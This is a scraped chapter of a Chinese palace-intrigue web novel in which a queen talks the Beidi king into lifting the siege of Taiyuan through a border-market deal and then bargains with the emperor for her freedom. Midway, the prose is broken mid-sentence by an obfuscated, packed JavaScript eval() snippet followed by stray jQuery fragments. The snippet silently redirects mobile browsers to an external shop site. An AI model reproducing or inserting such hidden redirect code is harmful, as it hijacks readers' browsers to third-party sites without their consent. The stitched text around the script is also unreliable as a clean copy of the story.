文趣网 > 其他小说 > 凤阙谋 > 21. 第一笔交易2
    萧凛凰点了点头,不再多言,抬手脱下身上的夜行衣,露出里面早已准备好的北狄服饰——一身藏青色的锦袍,腰间系着银色的腰带,腰带上挂着一把弯刀,正是北狄贵族常穿的样式。她将夜行衣交给青黛,又理了理锦袍的褶皱,翻身上马,一抖缰绳,策马而出,径直朝着北狄王帐奔去,没有丝毫犹豫。

    “什么人!止步!”王帐外的守卫见状,立刻拔出弯刀,厉声大喝,几人迅速围了上来,刀尖直指萧凛凰的咽喉,眼神警惕,语气凶狠,“此乃我北狄王帐,岂容尔等随意闯入!再往前一步,休怪我们刀下无情!”

    萧凛凰勒住马缰,稳稳坐在马背上,神色平静,没有丝毫慌乱。她抬起头,目光直视着那些守卫,声音清亮,穿透夜色,高声道:“告诉你们的王,故人来访,姓萧,名凛凰!让他出来见本宫,否则,后果自负!”

    她的语气从容不迫,带着一股与生俱来的贵气,丝毫没有畏惧之意,反倒让那些守卫愣了一下。他们对视一眼,都看出了彼此眼中的疑惑——萧凛凰这个名字,他们从未听过,但眼前这个女子,气度不凡,衣着华贵,绝非普通人。

    其中一名守卫不敢怠慢,连忙收起弯刀,对着王帐躬身行礼,高声禀报道:“启禀大王,帐外有一女子,自称姓萧名凛凰,说是大王的故人,要见大王!”

    王帐中一阵骚动,隐约传来一阵低语声,片刻后,一个低沉而有磁性的声音响起,带着一丝不易察觉的惊讶与玩味,穿透帐帘,传了出来:“让她进来。”

    守卫们闻言,立刻收起弯刀,侧身让开一条道路,对着萧凛凰做了一个“请”的手势,语气也恭敬了几分:“姑娘,请随我来。”

    萧凛凰点了点头,翻身下马,昂首挺胸,一步步走进王帐。帐内暖意融融,燃着上好的兽香,驱散了夜色的寒冷。案上摆着一盏油灯,灯火摇曳,映得整个帐篷暖意融融。案上还放着北狄的地图,以及几封书信,旁边摆放着一些新鲜的瓜果,显然是北狄王日常起居之地。

    帐中,一个高大的男子正站在案前,背对着她。他身着黑色的王袍,衣料上绣着金色的狼头图案,腰间系着玉带,长发披散在肩头,身形魁梧,肩宽腰窄,仅仅是一个背影,便透着一股威慑人心的气场。

    听到脚步声,男子缓缓转过身来。萧凛凰的目光落在他脸上,心头微微一震——五年不见,阿史那隼比当年更加魁梧,眉宇间褪去了几分少年的桀骜,多了几分沧桑与沉稳,下颌线愈发硬朗,胡须修剪得整齐,唯有那双眼睛,依旧如草原上的鹰隼般锐利,目光如刀,仿佛能洞穿人心。

    阿史那隼也在打量着她,目光从她的头顶扫到脚下,眼神复杂,有惊讶,有玩味,还有一丝不易察觉的温柔。片刻后,他嘴角缓缓浮起一丝笑意,语气带着几分调侃,又带着几分难以置信:“萧凛凰?本王还以为,你早就死在紫禁城的深宫大院里了,没想到,你竟然还活着,还敢孤身一人闯到本王的王帐中来。”

    萧凛凰走到他对面的椅子旁坐下,姿态从容,没有丝毫拘谨。她端起案上的一杯奶茶,轻轻抿了一口,语气平淡,带着一丝淡淡的嘲讽:“让你失望了,本宫不仅活得很好,还活得比在北境时,更自在。今日前来,也不是为了跟你叙旧,而是有一件事,要与你商量。”

    “哦?”阿史那隼挑了挑眉,走到案后坐下,双手交叉放在案上,目光紧紧盯着她,“皇后娘娘屈尊降贵,孤身闯我北狄大营,想必不是小事吧?说来听听,你想与本王商量什么?”

    “退兵。”萧凛凰放下手中的茶杯,语气笃定,目光直视着他的眼睛,没有丝毫闪躲,“阿史那隼,立刻下令,让你的十万大军,撤出太原城下,退回草原。”

    “退兵?”阿史那隼像是听到了天大的笑话,忽然哈哈大笑起来,笑声爽朗,震得帐帘都微微晃动,“萧凛凰,你是不是在紫禁城待傻了?本王十万大军,围困太原一月,城中粮尽,军心涣散,眼看就要攻破城门,拿下太原,你现在让本王退兵?你凭什么?”

    他的笑声渐渐停歇,眼神又变得锐利起来,语气里满是不屑与傲慢:“就凭你一个孤身闯营的女子?还是凭你身后那座快要破城的太原城?萧凛凰,你太天真了。”

    “本宫凭的是,你攻不破太原。”萧凛凰神色不变,语气依旧平静,却带着十足的底气,“太原城坚墙高,乃是北境第一雄关,我父亲萧远山一生戎马,守城经验丰富,即便城中粮尽,将士们也绝不会轻易投降。你若强行攻城,必定伤亡惨重,十万大军,恐怕要折损大半。”

    她顿了顿,继续说道:“更何况,裴照的大军已经抵达,就在太原城外,与你对峙。你若强攻太原,裴照必定率军从背后突袭,到时候你腹背受敌,前有坚城,后有追兵,你觉得,你有几分胜算?就算你侥幸攻破太原,也必定是惨胜,到时候,北狄内部那些反对你的贵族,只会趁机发难,你的王座,恐怕就坐不稳了。”

    阿史那隼眯起眼睛,目光紧紧盯着萧凛凰,眼神复杂,有惊讶,有审视,还有一丝不易察觉的赞许。他没想到,五年不见,萧凛凰竟然变得如此伶牙俐齿,而且心思缜密,把一切都算得清清楚楚。他沉默了片刻,语气缓和了几分:“你倒是算得清楚。不过,你也说了,本王需要一场胜利,稳固王座。你让本王退兵,一无所获,本王为何要答应你?”

    “因为本宫可以给你,你想要的东西。”萧凛凰缓缓从怀中取出一物,放在案上。那是一枚虎符,通体鎏金,上面刻着复杂的纹路,虎目圆睁,栩栩如生,正是能调动北境三关守军的虎符,乃是大周的重器。“这是景帝陛下给本宫的虎符,有了它,便能调动北境三关的所有守军。本宫可以用它,换你退兵,换你与我大周,签订盟约,永不再犯。”

    阿史那隼的目光落在虎符上,眼神瞬间变得凝重起来,他伸手拿起虎符,指尖摩挲着上面的纹路,神色复杂。这枚虎符的威力,他比谁都清楚,有了它,就相当于掌握了大周北境的兵权,若是能得到它,北狄南下,便会事半功倍。但他也知道,萧凛凰绝不会轻易把这么重要的东西给他。

    “你为了救你父亲,连这么重要的虎符都敢偷?”阿史那隼抬起头,目光直视着她,语气里带着几分难以置信,还有一丝不易察觉的心疼,“萧凛凰,你可知,偷窃虎符,乃是株连九族的大罪,你就不怕景帝降罪于你,不怕连累整个萧家?”

    “不是偷,是陛下给的。”萧凛凰淡淡道,语气里没有丝毫波澜,仿佛在说一件无关紧要的小事,“陛下知道太原被围,忧心忡忡,便将这虎符交给本宫,让本宫前来解太原之围。但本宫可以告诉你,这虎符,本宫从未打算用。本宫今日来,是与你做一笔交易,不用虎符,用别的东西,换你退兵,换你稳固王座。”

    阿史那隼眼中闪过一丝疑惑,放下虎符,身体微微前倾,语气带着几分好奇:“哦?不用虎符,你能用什么,与本王做交易?你要知道,本王想要的,是能让那些贵族心服口服的胜利,是能充实王庭的财富。”

    “本宫知道,你此次南下,并非为了攻城略地,更不是为了抢夺粮草,而是为了立威。”萧凛凰看着他,眼神笃定,仿佛看透了他的心思,“你刚继位不久,那些老贵族对你不服,暗中处处掣肘,你急需一场胜利,震慑他们,稳固自己的王座。但本宫告诉你,你若攻破太原,杀了我父,本宫此生与你不死不休,我萧家的旧部,也绝不会善罢甘休,大周与北狄,将永无宁日,你就算得了太原,也只会陷入无休止的战乱之中,得不偿失。”

    她顿了顿,语气缓和了几分,继续说道:“但你若退兵,本宫可以帮你,以另一种方式立威,比攻破太原,更稳妥,更长久。”

    阿史那隼的兴趣被彻底勾了起来,他微微挑眉,语气带着几分期待:“什么方式?说来听听。若是真如你所说,能让本王稳固王座,本王便考虑退兵。”

    “互市。”萧凛凰伸手,将案上的另一幅地图展开,指尖落在汾河之畔的位置,“我们在汾河之畔,设立互市场所,大周以丝绸、茶叶、铁器、瓷器,换取你们北狄的马匹、皮毛、药材、奶酪。这些东西,在大周都是寻常物件,但在北狄,却是稀缺之物;而北狄的马匹、皮毛,在大周也十分抢手。”

    她详细解释道:“你可以在互市场中抽税,每一笔交易,你都能获得丰厚的收益,日积月累,足以充实你的王庭,供养你的军队,比你靠抢掠得来的财富,更稳定,更长久。而且,互市一开,大周与北狄的百姓,便能互通有无,减少战乱,百姓安居乐业,你这个北狄王,也能得到百姓的拥戴,那些贵族,自然也不敢轻易发难。”

    说到这里,萧凛凰顿了顿,目光直视着阿史那隼,语气诚恳:“除此之外,本宫可以私人给你一笔银子,足够你收买那些反对你的贵族,让他们彻底臣服于你,稳固你的王座。这笔银子,比你攻破太原,抢掠到的所有财富,都要多。”

    阿史那隼看着她,沉默了良久,目光在她脸上来回扫视,似乎在判断她所说的话,是否可信。片刻后,他忽然笑了,笑容里带着几分无奈,又带着几分欣赏:“萧凛凰,你还是和五年前一样,精明得很,也会做生意。用一场互市,一笔银子,就想让本王放弃即将到手的太原,你倒是打得一手好算盘。”

    他话锋一转,语气变得严肃起来:“但本王如何信你?你如今是大周的皇后,身份尊贵,不再是当年那个在北境流浪、无依无靠的小丫头了。你今日说的这些,若是事后反悔,本王又能奈你何?到时候,本王不仅丢了太原,还落得个竹篮打水一场空的下场。”

    “就凭这个。”萧凛凰没有丝毫犹豫,缓缓从颈间取出一物,递到阿史那隼面前。那是一枚狼牙,通体洁白,打磨得十分光滑,上面还系着一根红色的丝线,正是五年前,阿史那隼送给她的那枚。

    “五年前,你在北境遇伏,被仇家追杀,身负重伤,是本宫救了你,为此,本宫还中了毒,伤了根本,差点丢了性命。”萧凛凰的语气里,带着一丝淡淡的回忆,“你当时说,欠本宫一条命,便把这枚狼牙送给本宫,说只要本宫拿着它,无论何时,无论何地,只要找你,你都不会拒绝。今日,本宫来讨债了。”

    阿史那隼的目光落在那枚狼牙上,眼神瞬间柔和了下来,眉宇间的锐利与傲慢,也消散了几分,取而代之的,是深深的愧疚与温柔。五年前的画面,如同潮水般涌入脑海——漫天风雪,他身负重伤,倒在雪地里,是萧凛凰不顾自身安危,救了他,为他疗伤,陪他度过了最艰难的日子。他欠她的,何止一条命,更是一份恩情,一份牵挂。

    他伸出手,小心翼翼地接过那枚狼牙,紧紧握在手中,指尖微微颤抖。沉默了片刻,他抬起头,目光直视着萧凛凰,语气坚定:“好,本王退兵。”

    萧凛凰眼中闪过一丝释然,轻轻点了点头。

    “但你要记住,这笔账,本王迟早要你还。”阿史那隼的语气里,带着一丝调侃,还有一丝不易察觉的温柔,“你欠本王的,还有本王欠你的,我们慢慢算。”

    “本宫等着。”萧凛凰微微一笑,那笑容,如同冰雪消融,瞬间驱散了帐中的寒意,也驱散了两人之间的隔阂。

    当日深夜,阿史那隼下令,北狄十万大军,连夜撤军。一时间,北狄大营中灯火通明,士兵们收拾行装,牵马备粮,有条不紊地撤离,没有丝毫慌乱。不到一个时辰,连绵的北狄大营,便空无一人,只剩下满地的狼藉,以及风中摇曳的狼头旗。北狄大军如同潮水般,迅速消失在茫茫草原之中,仿佛从未出现过一般。

    天刚蒙蒙亮,太原城门便被打开了。镇北王萧远山一身铠甲,带着城中的将士,匆匆出城相迎。他面色憔悴,眼窝深陷,显然是这一个月来,日夜操劳,耗尽了心力。当他看到萧凛凰一身戎装,站在裴照大军的前方,身姿挺拔,英气逼人时,再也忍不住,老泪纵横,脚步踉跄地走上前。

    “凰儿,你……你怎么来了?”萧远山握住女儿的手,声音颤抖,语气里满是惊喜与心疼,“你不在紫禁城好好待着,跑到这战火纷飞的北境来做什么?你可知,为父有多担心你?”他的手粗糙而有力,带着常年握兵器留下的厚茧,此刻紧紧握着萧凛凰的手,仿佛一松手,她就会消失一般。

    萧凛凰看着父亲憔悴的模样,心中一酸,双膝一弯,跪在地上,眼眶也红了,声音带着一丝哽咽:“父亲,女儿来救您了。女儿知道,您被困在太原,日夜受煎熬,女儿放心不下,便请命前来,解太原之围。父亲,女儿不孝,让您受苦了。”

    “傻孩子,起来,快起来。”萧远山连忙扶起她,轻轻擦去她眼角的泪水,目光复杂地看着她,语气里满是欣慰与骄傲,“你长大了,真的长大了,比父亲想象的,更厉害,更有担当。当年那个只会跟在父亲身后撒娇的小丫头,如今已经能独当一面,能救父亲,能救太原,能救大周北境了。为父为你骄傲。”

    父女相见,自有千言万语,千般感慨。他们站在太原城外,说了许久的话,诉说着这几年的思念与艰辛,诉说着城中的困境与不易。萧凛凰看着父亲疲惫的脸庞,心中满是心

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509998|202956||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    疼,但她也知道,自己不能久留。她还有一件事要做,一件与景帝的交易,一件关乎她一生自由的交易。

    告别了父亲,萧凛凰来到裴照的大营中。大营里,士兵们正在收拾行装,个个脸上都洋溢着胜利的喜悦,毕竟,太原之围解了,他们也能回家与亲人团聚了。萧凛凰走进大帐,吩咐士兵取来笔墨纸砚,坐在案前,亲手写下一封亲笔信。

    她的字迹工整有力,既有女子的温婉,又有男子的英气。信中,她详细描述了自己与阿史那隼的交易,写下了互市的具体条款,包括交易的物品、税率、地点,以及双方的责任与义务;同时,她也如实写下了自己私自出营、夜入敌营的“罪状”,没有丝毫隐瞒。

    写好信后,她将信折好,交给一旁等候的皇帝亲卫,语气严肃地吩咐道:“速将此信送往紫禁城,交给景帝陛下,务必亲手交到陛下手中,不得延误,不得泄露信中内容。”

    “遵娘娘令!”亲卫躬身接过信,小心翼翼地收好,转身快步离去。

    裴照站在一旁,看着这一切,脸上满是疑惑,忍不住开口问道:“娘娘,您这是为何?您解了太原之围,签了互市盟约,稳定了北境,乃是大功一件,陛下必定会重赏您。可您为何还要主动写下自己的‘罪状’,这不是自寻麻烦吗?”

    “这不是自寻麻烦,这是本宫与陛下的交易。”萧凛凰放下手中的毛笔,目光望向远方的草原,眼神平静而坚定,“本宫帮他解了太原之围,帮他稳定了北境,帮他与北狄签订了互市盟约,让大周北境再也没有战乱之苦。作为交换,他要给本宫,我想要的自由。”

    “自由?”裴照愣住了,脸上满是不解,“娘娘,您已是大周皇后,身份尊贵,锦衣玉食,万人敬仰,还有什么自由可言?”在他看来,皇后乃是天下最尊贵的女子,拥有享不尽的荣华富贵,还有什么不满足的。

    “本宫要的自由,不是锦衣玉食,不是万人敬仰。”萧凛凰淡淡道,语气里带着一丝向往,还有一丝决绝,“是后宫的自由——本宫不想被困在紫禁城的深宫大院里,不想与那些后宫女子争风吃醋,勾心斗角;是干政的自由——本宫有能力为大周谋划,有能力稳定北境,不想因为‘女子不得干政’的规矩,被束缚手脚;还有……不生育的自由。”

    她顿了顿,目光坚定,一字一句地说道:“本宫不能生育,也不想生育。本宫要做的是大周的皇后,是能为陛下分忧、为大周出力的皇后,不是只会生儿育女、传宗接代的工具。他若答应本宫这些条件,本宫此生,便会一直为他谋划,为大周鞠躬尽瘁,死而后已;他若不答应,本宫便留在北境,再不回紫禁城,从今往后,与大周,与景帝,两不相欠。”

    裴照倒吸一口冷气,脸上满是震惊。他万万没想到,萧凛凰竟然会提出这样的条件,这简直是赤裸裸的威胁!但他也知道,萧凛凰有威胁的资本——她刚刚救了太原,救了镇北王,签了互市盟约,稳定了北狄,这是天大的功劳,景帝根本没有理由拒绝她的条件。若是景帝真的拒绝,萧凛凰留在北境,与阿史那隼联手,那对大周来说,将是一场灭顶之灾。

    “娘娘,您……您三思啊。”裴照犹豫了片刻,还是忍不住劝道,“这样威胁陛下,若是惹得陛下龙颜大怒,后果不堪设想啊。”

    “本宫已经三思熟虑过了。”萧凛凰语气平静,“本宫知道,帝王心,海底针,景帝陛下多疑,但他也是个明事理的人,他知道,留下本宫,对他,对大周,都有好处。他会答应的。”

    裴照看着她坚定的眼神,知道自己劝不动,只得重重叹了口气,躬身应道:“末将领命,定当在此期间,护娘娘周全,等候陛下的回信。”

    三日后,皇帝亲卫匆匆返回,带来了景帝的回信。信很简单,只有一张薄薄的宣纸,上面只写了四个字:“朕允你。慎行。”字迹苍劲有力,带着帝王的威严与不容置疑。

    萧凛凰接过信,目光落在那四个字上,嘴角缓缓浮起一丝释然的笑容。这四个字,是承诺,承诺给她想要的自由;也是警告,警告她,不要恃宠而骄,不要越界,要谨言慎行,安分守己。她知道,从今往后,她不仅是大周的皇后,还是景帝的“合伙人”,是这大周江山,实际的共治者。她得到了想要的自由,但也必须承担起相应的责任,步步为营,小心谨慎,稍有不慎,便会万劫不复。

    “父亲,女儿要回去了。”萧凛凰来到萧远山的府邸,向父亲辞行。她已经收拾好了行装,依旧是一身玄色劲装,身姿挺拔,眼神坚定。

    萧远山看着她,欲言又止。他知道,女儿此次回去,等待她的,将是紫禁城的深宫大院,是帝王的猜忌与防备,是后宫的明争暗斗,是朝堂的波谲云诡。他有太多的担心,太多的叮嘱,却不知道该如何开口。

    沉默了片刻,萧远山终于开口,语气沉重,带着满满的担忧与叮嘱:“凰儿,记住,无论走到哪里,萧家都是你的后盾,无论你遇到什么困难,只要你回头,萧家永远在你身后。但你也记住,帝王心,海底针,景帝陛下多疑,不要太相信任何人,包括他。凡事多留个心眼,谨言慎行,保护好自己,不要让自己受委屈。”

    “女儿明白。”萧凛凰点了点头,眼中满是感激,“父亲放心,女儿一定会保护好自己,也会好好的。等女儿在紫禁城站稳脚跟,一定会回来探望父亲,也会好好守护我们萧家,守护大周北境。”

    萧远山轻轻拍了拍她的肩膀,眼中满是欣慰与不舍,没有再多说什么,只是点了点头。

    萧凛凰翻身上马,勒住马缰,最后看了一眼北境的草原。这里曾是她的故乡,是她长大的地方,这里有她的回忆,有她的牵挂,如今,这里也成了她与阿史那隼交易的筹码,成了她换取自由的资本。

    草原上的风,依旧呼啸着,带着青草的气息,吹起她的发丝,拂过她的脸庞。她带着与北狄签订的互市盟约,带着景帝的承诺,带着满身的疲惫,也带着满心的荣耀,调转马头,朝着紫禁城的方向而去。

    她知道,紫禁城不是她的归宿,而是她新的战场;那里没有草原的辽阔与自由,只有深宫的束缚与朝堂的纷争;那里没有真心相待的故人,只有尔虞我诈的对手与猜忌多疑的帝王。但她无所畏惧,她已经不是当年那个任人欺凌的小丫头了,她有能力,有底气,在那座金碧辉煌的牢笼里,闯出一片属于自己的天地。

    “青黛,出发。”萧凛凰一抖缰绳,语气坚定,“咱们回家。”

    青黛连忙翻身上马,紧随在她身后,高声应道:“是,娘娘!”